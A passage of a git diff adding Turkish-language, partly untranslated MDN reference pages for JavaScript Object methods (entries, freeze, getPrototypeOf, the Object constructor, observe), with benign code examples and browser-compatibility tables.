property, and attempts to change writability execute without error but do not actually change the property's writability.</p> + +<p>Only Internet Explorer 9 and later, and Firefox 23 and later, appear to fully and correctly implement redefinition of the {{jsxref("Array.length", "length")}} property of arrays. For now, don't rely on redefining the {{jsxref("Array.length", "length")}} property of an array to either work, or to work in a particular manner. And even when you <em>can</em> rely on it, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">there's really no good reason to do so</a>.</p> + +<h3 id="Internet_Explorer_8_specific_notes">Internet Explorer 8 specific notes</h3> + +<p>Internet Explorer 8 implemented a <code>Object.defineProperty()</code> method that could <a class="external" href="https://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">only be used on DOM objects</a>. A few things need to be noted:</p> + +<ul> + <li>Trying to use <code>Object.defineProperty()</code> on native objects throws an error.</li> + <li>Property attributes must be set to some values. <code>Configurable</code>, <code>enumerable</code> and <code>writable</code> attributes should all be set to <code>true</code> for data descriptor and <code>true</code> for <code>configurable</code>, <code>false</code> for <code>enumerable</code> for accessor descriptor.(?) Any attempt to provide other value(?) will result in an error being thrown.</li> + <li>Reconfiguring a property requires first deleting the property. If the property isn't deleted, it stays as it was before the reconfiguration attempt.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> + <li>{{jsxref("Object.defineProperties()")}}</li> + <li>{{jsxref("Object.propertyIsEnumerable()")}}</li> + <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li> + <li>{{jsxref("Object.prototype.watch()")}}</li> + <li>{{jsxref("Object.prototype.unwatch()")}}</li> + <li>{{jsxref("Operators/get", "get")}}</li> + <li>{{jsxref("Operators/set", "set")}}</li> + <li>{{jsxref("Object.create()")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Additional <code>Object.defineProperty</code> examples</a></li> + <li>{{jsxref("Reflect.defineProperty()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/entries/index.html b/files/tr/web/javascript/reference/global_objects/object/entries/index.html new file mode 100644 index 0000000000..456bfd6afa --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/entries/index.html @@ -0,0 +1,141 @@ +--- +title: Object.entries() +slug: Web/JavaScript/Reference/Global_Objects/Object/entries +tags: + - JavaScript + - Metot + - Referans + - nesne +translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries +--- +<div>{{JSRef}}</div> + +<p>The <code><strong>Object.entries()</strong></code> metodu, verilen bir nesnenin sıralanabilir <code>[anahtar, değer]</code> çiftlerini {{jsxref("Statements/for...in", "for...in")}} döngüsünün sunacağı sırayla (for-in döngüsü, farklı olarak nesnenin prototip zincirindeki özelliklerini de sıralar) dizi olarak döner.</p> + +<div>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</div> + + + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">Object.entries(<var>obj</var>)</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>Sıralanabilir özellik çiftleri <code>[key, value]</code> dönülecek olan nesne.</dd> +</dl> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Verilen nesnenin sıralanabilir özellik çiftlerini <code>[key, value]</code> içeren dizi</p> + +<h2 id="Tanım">Tanım</h2> + +<p><code>Object.entries()</code> elemanları <code>object</code> nesnesinin sıralanabilir özellik çiftlerine <code>[key, value]</code> karşılık gelen diziler olan bir dizi döner. Özelliklerin sırası, özellikler üzerinde döngü ile dönülmesi durumunda oluşacak sırayla aynıdır.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">const obj = { foo: 'bar', baz: 42 }; +console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] + +// dizi benzeri nesne +const obj = { 0: 'a', 1: 'b', 2: 'c' }; +console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] + +// anahtarları rastgele sıralı olan dizi benzeri nesne +const anObj = { 100: 'a', 2: 'b', 7: 'c' }; +console.log(Object.entries(anObj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ] + +// getFoo, sıralanabilir bir özellik değildir +const myObj = Object.create({}, { getFoo: { value() { return this.foo; } } }); +myObj.foo = 'bar'; +console.log(Object.entries(myObj)); // [ ['foo', 'bar'] ] + +// nesne olmayan parametre nesneye dönüştürülür +console.log(Object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] + +// ilkel tiplerin kendi özellikleri olmadığı için, boş dizi döner +console.log(Object.entries(100)); // [ ] + +// anahtar-değer çiftlerinin üzerinden for-of döngüsü ile geçelim +const obj = { a: 5, b: 7, c: 9 }; +for (const [key, value] of Object.entries(obj)) { + console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" +} + +// Veya, Array ekstra metotlarını kullanarak geçelim +Object.entries(obj).forEach(([key, value]) => { +console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" +}); +</pre> + +<h3 id="Bir_Object'in_bir_Map'e_dönüştürülmesi">Bir <code>Object</code>'in bir <code>Map</code>'e dönüştürülmesi</h3> + +<p>{{jsxref("Map", "new Map()")}} yapıcısı, <code>entries</code> üzerinde ilerlenebilir nesnesini ister. <code>Object.entries</code> ile, {{jsxref("Object")}}'ten {{jsxref("Map")}}'e kolayca dönüşüm yapabilirsiniz:</p> + +<pre class="brush: js">const obj = { foo: 'bar', baz: 42 }; +const map = new Map(Object.entries(obj)); +console.log(map); // Map { foo: "bar", baz: 42 } +</pre> + +<h3 id="Bir_Object'in_üzerinde_ilerlemek">Bir <code>Object</code>'in üzerinde ilerlemek</h3> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring">Array Destructuring</a> kullanarak, nesnelerin üzerinde kolayca ilerleyebilirsiniz.</p> + +<pre class="brush: js">const obj = { foo: 'bar', baz: 42 }; +Object.entries(obj).forEach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42" +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Doğal olarak desteklemeyen eski ortamlara <code>Object.entries</code> desteği eklemek için, Object.entries'in gösterme amaçlı gerçeklemesini <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a>'de (IE desteğine ihtiyacınız yoksa), <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a> repertuarındaki polyfill ile, veya aşağıdaki gibi kullanıma hazır basit polyfill kullanabilirsiniz.</p> + +<p>if (!Object.entries) Object.entries = function( obj ){ var ownProps = Object.keys( obj ), i = ownProps.length, resArray = new Array(i); // diziyi önden ayıralım while (i--) resArray[i] = [ownProps[i], obj[ownProps[i]]]; return resArray; };</p> + +<p>Yukardaki polyfill kod parçası için IE < 9 desteğine ihtiyacınız varsa, aynı zamanda Object.keys polyfill desteğine de ihtiyaç duyacaksınız ({{jsxref("Object.keys")}} sayfasındaki gibi)</p> + +<h2 id="Şartnameler">Şartnameler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ES8', '#sec-object.entries', 'Object.entries')}}</td> + <td>{{Spec2('ES8')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Gezgin_uyumluluğu">Gezgin uyumluluğu</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Object.entries")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> + <li>{{jsxref("Object.keys()")}}</li> + <li>{{jsxref("Object.values()")}}</li> + <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li> + <li>{{jsxref("Object.create()")}}</li> + <li>{{jsxref("Object.getOwnPropertyNames()")}}</li> + <li>{{jsxref("Map.prototype.entries()")}}</li> + <li>{{jsxref("Map.prototype.keys()")}}</li> + <li>{{jsxref("Map.prototype.values()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/freeze/index.html b/files/tr/web/javascript/reference/global_objects/object/freeze/index.html new file mode 100644 index 0000000000..058f34011b --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/freeze/index.html @@ -0,0 +1,234 @@ +--- +title: Object.freeze() +slug: Web/JavaScript/Reference/Global_Objects/Object/freeze +translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze +--- +<div>{{JSRef}}</div> + +<p><code><strong>Object.freeze()</strong></code> metodu bir objeyi <strong>dondurmak</strong> amaçlı kullanılır. Bir obje dondurulduktan sonra artık değiştirilemez, yeni bir property eklenemez, çıkarılamaz veya değiştirilemez. Objenin propertyleri üzerinde herhangi bir düzenleme veya konfigurasyon yapılamaz. Bir obje dondurulduktan sonra sadece property'lerini değil bu objeye bağlı olan prototype da değiştir. <code>freeze()</code> metodu kendisine verilen objeyi dondurulmuş olarak geri döndürür ancak gelen değişkenin yeniden atanması zorunlu değildir. <code>freeze()</code> metoduna gönderdiğiniz obje referans yoluyla geçeceği için tekrardan bir atama işlemi yapmak zorunda değilsiniz. Redux dahil bir çok state yönetim sistemleri bu metodu kullanarak state objesini immutable - değiştirilemez - yapmakta ve bu işleme bağlı olarak store üzerinden gerçekleştirilen işlemleri yenilemektedir. </p> + +<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate"><code>Object.freeze(<var>obje</var>)</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>obje</code></dt> + <dd>Dondurmak istediğiniz obje.</dd> +</dl> + +<h3 id="Dönüt">Dönüt</h3> + +<p>Metoda gönderilen obje dondurularak geri döndürülür</p> + +<h2 id="Description">Description</h2> + +<p>Dondurulmuş obje üzerinde hiç bir düzenleme, ekleme ve çıkarma işlemi yapılamaz. Bu amaçla yapılan herhangi bir değişim {{jsxref("TypeError")}} hatası verir (Farklı çevrelerde daha alt seviye hatalar vermesine karşın, {{jsxref("Strict_mode", "strict mode", "", 1)}} etkinleştirildiği durumlarda {{jsxref("TypeError")}} hatası kesin olarak alınır).</p> + +<p>Dondurulmuş bir objeye ait değer değiştirilemez, <code>writeable</code> ve <code>configurable</code> özellikleri <code>false</code> olarka atanır. Accessor properties (getter and setter) work the same (and still give the illusion that you are changing the value). Note that values that are objects can still be modified, unless they are also frozen. As an object, an array can be frozen; after doing so, its elements cannot be altered and no elements can be added to or removed from the array.</p> + +<p><code>freeze()</code> returns the same object that was passed into the function. It <em>does not</em> create a frozen copy.</p> + +<p>In ES5, if the argument to this method is not an object (a primitive), then it will cause a {{jsxref("TypeError")}}. In ES2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned.</p> + +<pre class="brush: js notranslate">> Object.freeze(1) +TypeError: 1 is not an object // ES5 code + +> Object.freeze(1) +1 // ES2015 code +</pre> + +<p>An <a href="/en-US/docs/Web/API/ArrayBufferView" title="ArrayBufferView is a helper type representing any of the following JavaScript TypedArray types:"><code>ArrayBufferView</code></a> with elements will cause a {{jsxref("TypeError")}}, as they are views over memory and will definitely cause other possible issues:</p> + +<pre class="brush: js notranslate">> Object.freeze(new Uint8Array(0)) // No elements +Uint8Array [] + +> Object.freeze(new Uint8Array(1)) // Has elements +TypeError: Cannot freeze array buffer views with elements + +> Object.freeze(new DataView(new ArrayBuffer(32))) // No elements +DataView {} + +> Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // No elements +Float64Array [] + +> Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // Has elements +TypeError: Cannot freeze array buffer views with elements +</pre> + +<p>Note that; as the standard three properties (<code>buf.byteLength</code>, <code>buf.byteOffset</code> and <code>buf.buffer</code>) are read-only (as are those of an {{jsxref("ArrayBuffer")}} or {{jsxref("SharedArrayBuffer")}}), there is no reason for attempting to freeze these properties.</p> + +<h3 id="Comparison_to_Object.seal">Comparison to <code>Object.seal()</code></h3> + +<p>Objects sealed with {{jsxref("Object.seal()")}} can have their existing properties changed. Existing properties in objects frozen with <code>Object.freeze()</code> are made immutable.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Freezing_objects">Freezing objects</h3> + +<pre class="brush: js notranslate">var obj = { + prop: function() {}, + foo: 'bar' +}; + +// Before freezing: new properties may be added, +// and existing properties may be changed or removed +obj.foo = 'baz'; +obj.lumpy = 'woof'; +delete obj.prop; + +// Freeze. +var o = Object.freeze(obj); + +// The return value is just the same object we passed in. +o === obj; // true + +// The object has become frozen. +Object.isFrozen(obj); // === true + +// Now any changes will fail +obj.foo = 'quux'; // silently does nothing +// silently doesn't add the property +obj.quaxxor = 'the friendly duck'; + +// In strict mode such attempts will throw TypeErrors +function fail(){ + 'use strict'; + obj.foo = 'sparky'; // throws a TypeError + delete obj.foo; // throws a TypeError + delete obj.quaxxor; // returns true since attribute 'quaxxor' was never added + obj.sparky = 'arf'; // throws a TypeError +} + +fail(); + +// Attempted changes through Object.defineProperty; +// both statements below throw a TypeError. +Object.defineProperty(obj, 'ohai', { value: 17 }); +Object.defineProperty(obj, 'foo', { value: 'eit' }); + +// It's also impossible to change the prototype +// both statements below will throw a TypeError. +Object.setPrototypeOf(obj, { x: 20 }) +obj.__proto__ = { x: 20 } +</pre> + +<h3 id="Freezing_arrays">Freezing arrays</h3> + +<pre class="brush: js notranslate">let a = [0]; +Object.freeze(a); // The array cannot be modified now. + +a[0] = 1; // fails silently + +// In strict mode such attempt will throw a TypeError +function fail() { + "use strict" + a[0] = 1; +} + +fail(); + +// Attempted to push +a.push(2); // throws a TypeError</pre> + +<p>The object being frozen is <em>immutable</em>. However, it is not necessarily <em>constant</em>. The following example shows that a frozen object is not constant (freeze is shallow).</p> + +<pre class="brush: js notranslate">obj1 = { + internal: {} +}; + +Object.freeze(obj1); +obj1.internal.a = 'aValue'; + +obj1.internal.a // 'aValue'</pre> + +<p>To be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immutable frozen objects. The object being frozen is said to be immutable because the entire object <em>state</em> (values and references to other objects) within the whole object is fixed. Note that strings, numbers, and booleans are always immutable and that Functions and Arrays are objects.</p> + +<h4 id="What_is_shallow_freeze">What is "shallow freeze"?</h4> + +<p>The result of calling <code>Object.freeze(<var>object</var>)</code> only applies to the immediate properties of <code>object</code> itself and will prevent future property addition, removal or value re-assignment operations <em>only</em> on <code>object</code>. If the value of those properties are objects themselves, those objects are not frozen and may be the target of property addition, removal or value re-assignment operations.</p> + +<pre class="brush: js notranslate">var employee = { + name: "Mayank", + designation: "Developer", + address: { + street: "Rohini", + city: "Delhi" + } +}; + +Object.freeze(employee); + +employee.name = "Dummy"; // fails silently in non-strict mode +employee.address.city = "Noida"; // attributes of child object can be modified + +console.log(employee.address.city) // Output: "Noida" +</pre> + +<p>To make an object immutable, recursively freeze each property which is of type object (deep freeze). Use the pattern on a case-by-case basis based on your design when you know the object contains no <a href="https://en.wikipedia.org/wiki/Cycle_(graph_theory)" title="cycles">cycles</a> in the reference graph, otherwise an endless loop will be triggered. An enhancement to <code>deepFreeze()</code> would be to have an internal function that receives a path (e.g. an Array) argument so you can suppress calling <code>deepFreeze()</code> recursively when an object is in the process of being made immutable. You still run a risk of freezing an object that shouldn't be frozen, such as [window].</p> + +<pre class="brush: js notranslate">function deepFreeze(object) { + + // Retrieve the property names defined on object + var propNames = Object.getOwnPropertyNames(object); + + // Freeze properties before freezing self + + for (let name of propNames) { + let value = object[name]; + + if(value && typeof value === "object") { + deepFreeze(value); + } + } + + return Object.freeze(object); +} + +var obj2 = { + internal: { + a: null + } +}; + +deepFreeze(obj2); + +obj2.internal.a = 'anotherValue'; // fails silently in non-strict mode +obj2.internal.a; // null +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.builtins.Object.freeze")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Object.isFrozen()")}}</li> + <li>{{jsxref("Object.preventExtensions()")}}</li> + <li>{{jsxref("Object.isExtensible()")}}</li> + <li>{{jsxref("Object.seal()")}}</li> + <li>{{jsxref("Object.isSealed()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/tr/web/javascript/reference/global_objects/object/getprototypeof/index.html new file mode 100644 index 0000000000..c6bf7acbbf --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/getprototypeof/index.html @@ -0,0 +1,134 @@ +--- +title: Object.getPrototypeOf() +slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf +tags: + - ECMAScript5 + - JavaScript + - nesne + - prototip +translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf +--- +<div>{{JSRef}}</div> + +<p><code><strong>Object.getPrototypeOf()</strong></code> metodu, belirtilen nesnenin prototipini döndürür.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>Object.getPrototypeOf(<em>nesne</em>)</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><font face="Consolas, Liberation Mono, Courier, monospace">nesne</font></dt> + <dd>Prototipi döndürülecek olan nesne.</dd> +</dl> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">var proto = {}; +var nesne = Object.create(proto); +Object.getPrototypeOf(nesne) === proto; // true +</pre> + +<h2 id="Notlar">Notlar</h2> + +<p>ES5'te, <code>nesne</code> parametresi bir nesne değilse sistem bir {{jsxref("TypeError")}} fırlatır. ES6'da ise, parametre bir nesne olmaya zorlanır.</p> + +<pre class="brush: js">Object.getPrototypeOf("foo"); +// TypeError: "foo" bir nesne değil (ES5 kodu) +Object.getPrototypeOf("foo"); +// String.prototype (ES6 kodu) +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>İlk tanımlama.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatChrome("5")}}</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatOpera("12.10")}}</td> + <td>{{CompatSafari("5")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android için Chrome</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Opera'ya_özel_notlar">Opera'ya özel notlar</h2> + +<p>Eski Opera versiyonları <code>Object.getPrototypeOf()</code> fonksiyonunu desteklemiyor olsa da, Opera, 10.50 sürümünden beri standartlarda yer almayan {{jsxref("Object.proto", "__proto__")}} özelliğini desteklemektedir.</p> + +<h2 id="Bunlara_da_göz_atın">Bunlara da göz atın</h2> + +<ul> + <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li> + <li>{{jsxref("Object.setPrototypeOf()")}}</li> + <li>{{jsxref("Object.prototype.__proto__")}}</li> + <li>John Resig'in <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a> üzerine olan blog yazısı</li> + <li>{{jsxref("Reflect.getPrototypeOf()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/index.html b/files/tr/web/javascript/reference/global_objects/object/index.html new file mode 100644 index 0000000000..7e5dfd4c7b --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/index.html @@ -0,0 +1,213 @@ +--- +title: Object +slug: Web/JavaScript/Reference/Global_Objects/Object +tags: + - Constructor + - JavaScript + - NeedsTranslation + - Object + - TopicStub +translation_of: Web/JavaScript/Reference/Global_Objects/Object +--- +<div>{{JSRef}}</div> + +<p>The <code><strong>Object</strong></code> constructor creates an object wrapper.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>// Object initialiser or literal +{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] } + +// Called as a constructor +new Object([<var>value</var>])</code></pre> + +<h3 id="Parameters" name="Parameters">Parameters</h3> + +<dl> + <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt> + <dd>Pairs of names (strings) and values (any value) where the name is separated from the value by a colon.</dd> + <dt><code>value</code></dt> + <dd>Any value.</dd> +</dl> + +<h2 id="Description" name="Description">Description</h2> + +<p>The <code>Object</code> constructor creates an object wrapper for the given value. If the value is {{jsxref("Global_Objects/null", "null")}} or {{jsxref("Global_Objects/undefined", "undefined")}}, it will create and return an empty object, otherwise, it will return an object of a Type that corresponds to the given value. If the value is an object already, it will return the value.</p> + +<p>When called in a non-constructor context, <code>Object</code> behaves identically to <code>new Object()</code>.</p> + +<p>See also the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p> + +<h2 id="Properties" name="Properties">Properties of the <code>Object</code> constructor</h2> + +<dl> + <dt><code>Object.length</code></dt> + <dd>Has a value of 1.</dd> + <dt>{{jsxref("Object.prototype")}}</dt> + <dd>Allows the addition of properties to all objects of type Object.</dd> +</dl> + +<h2 id="Methods" name="Methods">Methods of the <code>Object</code> constructor</h2> + +<dl> + <dt>{{jsxref("Object.assign()")}} {{experimental_inline}}</dt> + <dd>Creates a new object by copying the values of all enumerable own properties from one or more source objects to a target object.</dd> + <dt>{{jsxref("Object.create()")}}</dt> + <dd>Creates a new object with the specified prototype object and properties.</dd> + <dt>{{jsxref("Object.defineProperty()")}}</dt> + <dd>Adds the named property described by a given descriptor to an object.</dd> + <dt>{{jsxref("Object.defineProperties()")}}</dt> + <dd>Adds the named properties described by the given descriptors to an object.</dd> + <dt>{{jsxref("Object.freeze()")}}</dt> + <dd>Freezes an object: other code can't delete or change any properties.</dd> + <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt> + <dd>Returns a property descriptor for a named property on an object.</dd> + <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt> + <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable and non-enumerable properties.</dd> + <dt>{{jsxref("Object.getOwnPropertySymbols()")}} {{ experimental_inline() }}</dt> + <dd>Returns an array of all symbol properties found directly upon a given object.</dd> + <dt>{{jsxref("Object.getPrototypeOf()")}}</dt> + <dd>Returns the prototype of the specified object.</dd> + <dt>{{jsxref("Object.is()")}} {{ experimental_inline() }}</dt> + <dd>Compares if two values are distinguishable (ie. the same)</dd> + <dt>{{jsxref("Object.isExtensible()")}}</dt> + <dd>Determines if extending of an object is allowed.</dd> + <dt>{{jsxref("Object.isFrozen()")}}</dt> + <dd>Determines if an object was frozen.</dd> + <dt>{{jsxref("Object.isSealed()")}}</dt> + <dd>Determines if an object is sealed.</dd> + <dt>{{jsxref("Object.keys()")}}</dt> + <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable properties.</dd> + <dt>{{jsxref("Object.observe()")}} {{experimental_inline}}</dt> + <dd>Asynchronously observes changes to an object.</dd> + <dt>{{jsxref("Object.preventExtensions()")}}</dt> + <dd>Prevents any extensions of an object.</dd> + <dt>{{jsxref("Object.seal()")}}</dt> + <dd>Prevents other code from deleting properties of an object.</dd> + <dt>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</dt> + <dd>Sets the prototype (i.e., the internal <code>[[Prototype]]</code> property)</dd> +</dl> + +<h2 id="Object_instances" name="Object_instances"><code>Object</code> instances and <code>Object</code> prototype object</h2> + +<p>All objects in JavaScript are descended from <code>Object</code>; all objects inherit methods and properties from {{jsxref("Object.prototype")}}, although they may be overridden. For example, other constructors' prototypes override the <code>constructor</code> property and provide their own <code>toString()</code> methods. Changes to the <code>Object</code> prototype object are propagated to all objects unless the properties and methods subject to those changes are overridden further along the prototype chain.</p> + +<h3 id="Properties_of_Object_instances" name="Properties_of_Object_instances">Properties</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}</div> + +<h3 id="Methods_of_Object_instances" name="Methods_of_Object_instances">Methods</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}</div> + +<h2 id="Examples" name="Examples">Examples</h2> + +<h3 id="Example.3A_Using_Object_given_undefined_and_null_types" name="Example.3A_Using_Object_given_undefined_and_null_types">Example: Using <code>Object</code> given <code>undefined</code> and <code>null</code> types</h3> + +<p>The following examples store an empty <code>Object</code> object in <code>o</code>:</p> + +<pre class="brush: js">var o = new Object(); +</pre> + +<pre class="brush: js">var o = new Object(undefined); +</pre> + +<pre class="brush: js">var o = new Object(null); +</pre> + +<h3 id="Example_Using_Object_to_create_Boolean_objects">Example: Using <code>Object</code> to create <code>Boolean</code> objects</h3> + +<p>The following examples store {{jsxref("Global_Objects/Boolean", "Boolean")}} objects in <code>o</code>:</p> + +<pre class="brush: js">// equivalent to o = new Boolean(true); +var o = new Object(true); +</pre> + +<pre class="brush: js">// equivalent to o = new Boolean(false); +var o = new Object(Boolean()); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/observe/index.html b/files/tr/web/javascript/reference/global_objects/object/observe/index.html new file mode 100644 index 0000000000..bf46ed0504 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/observe/index.html @@ -0,0 +1,194 @@ +--- +title: Object.observe() +slug: Web/JavaScript/Reference/Global_Objects/Object/observe +tags: + - Değişim İzle + - Obje + - Obje Gözlem + - Obje İzle +translation_of: Archive/Web/JavaScript/Object.observe +--- +<div>{{JSRef("Global_Objects", "Object")}}</div> + +<h2 id="Özet">Özet</h2> + +<p><strong><code>Object.observe()</code></strong> methodu bir objedeki değişimleri izlemenizi sağlar. Geri dönüş için belirlediğiniz fonksiyona, obje üzerinde gerçeklenen değişikleri, oluşma sırasına göre gönderir.</p> 